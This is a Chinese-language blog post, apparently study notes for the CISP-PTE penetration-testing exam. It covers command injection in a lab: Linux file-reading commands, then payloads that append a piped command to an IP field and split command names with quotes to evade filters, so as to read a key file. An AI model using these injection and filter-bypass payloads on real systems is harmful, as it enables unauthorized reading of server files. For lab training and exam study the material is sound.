当前位置:网站首页>CISP-PTE之命令注入篇
CISP-PTE之命令注入篇
2022-07-06 18:16:00 【炫彩@之星】
命令执行靶场讲解
上一篇文章我们讲解了实操练习题(二)的讲解,其中的命令执行有第二种解法,就是在没有过滤的情况下,很快就会有答案了。
我们直接用tac进行读取文件
进行提交,看看结果如何
发现,直接就出现答案了,并没有对相关语句进行过滤,所以,在考试中,还会出现过滤的情况,大家要学会如何进行绕过,找到答案。
命令注入相关知识讲解
个人觉得这个命令注入是最简单的。
在这之前先来了解下读文件都可以用哪些命令吧。
linux常用于读取文件内容指令主要有以下七种:
cat、tac、nl、more、less、head、tail
cat: 由第一行开始显示内容,并将所有内容输出
cat 文件名 将文件内容显示在屏幕上
cat -n 文件名 将文件内容显示在屏幕上,并显示行号
cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号
tac: 从最后一行倒序显示内容,并将所有内容输出
tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出
nl: 类似于cat-n,显示时输出行号
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名 显示行号,空行也显示行号
nl -b t 文件名 显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0
more:根据窗口大小,一页一页的查看文件内容
more 文件名
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
less 文件名
head:只显示头几行
haed 文件名 –显示文件头十行
tail:只显示最后几行
tail文件名 –显示文件尾部
相关题目可设置的payload:
经测试,以下payload均可完成这道题。
127.0.0.1 | less …/key.php
127.0.0.1 | m’or’e …/key.php
127.0.0.1 | tail …/key.php
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 | head …/key.php
127.0.0.1 | nl …/key.php
|od -c …/key.php
|xxd …/key.php
|xxd …/key.php|grep key
|grep “key” …/key.php
|sed -n ‘1,5p’ …/key.php|grep key
相关命令执行的靶场
直接用刚才的payload试:
127.0.0.1 | m’or’e …/key.php
经测试这个靶场可以用的payload:
127.0.0.1 | v’'i …/key.php
127.0.0.1 | c’a’t …/key.php
127.0.0.1 |xxd …/key.php
127.0.0.1 |grep “key” …/key.php
边栏推荐
- What does front-end processor mean? What is the main function? What is the difference with fortress machine?
- ROS学习(23)action通信机制
- Clickhouse fields are grouped and aggregated, and SQL is queried according to the granularity of any time period
- 各种语言,软件,系统的国内镜像,收藏这一个仓库就够了: Thanks-Mirror
- Appium基础 — Appium Inspector定位工具(一)
- POJ 3177 Redundant Paths POJ 3352 Road Construction(双连接)
- WCF Foundation
- Gin 入门实战
- 百度飞将BMN时序动作定位框架 | 数据准备与训练指南 (上)
- 糊涂工具类(hutool)post请求设置body参数为json数据
猜你喜欢
454-百度面经1
tansig和logsig的差异,为什么BP喜欢用tansig
永久的摇篮
C语言关于链表的代码看不懂?一篇文章让你拿捏二级指针并深入理解函数参数列表中传参的多种形式
鼠标右键 自定义
Clickhouse fields are grouped and aggregated, and SQL is queried according to the granularity of any time period
Instructions for using the domain analysis tool bloodhound
Set WordPress pseudo static connection (no pagoda)
Shell script quickly counts the number of lines of project code
Start from the bottom structure to learn the customization and testing of fpga---- FIFO IP
随机推荐
Mongodb checks whether the table is imported successfully
Appium基础 — Appium Inspector定位工具(一)
ROS学习(24)plugin插件
ROS学习(23)action通信机制
ROS学习(25)rviz plugin插件
永久的摇篮
Yunna - work order management system and process, work order management specification
LeetCode. Sword finger offer 62 The last remaining number in the circle
ROS学习(22)TF变换
Image watermarking, scaling and conversion of an input stream
Telnet,SSH1,SSH2,Telnet/SSL,Rlogin,Serial,TAPI,RAW
2022/0524/bookstrap
C language instance_ three
AcWing 904. 虫洞 题解(spfa求负环)
AcWing 1148. Secret milk transportation problem solution (minimum spanning tree)
shell脚本快速统计项目代码行数
JS how to quickly create an array with length n
JS reverse -- ob confusion and accelerated music that poked the [hornet's nest]
js如何快速创建一个长度为 n 的数组
How can I code for 8 hours without getting tired.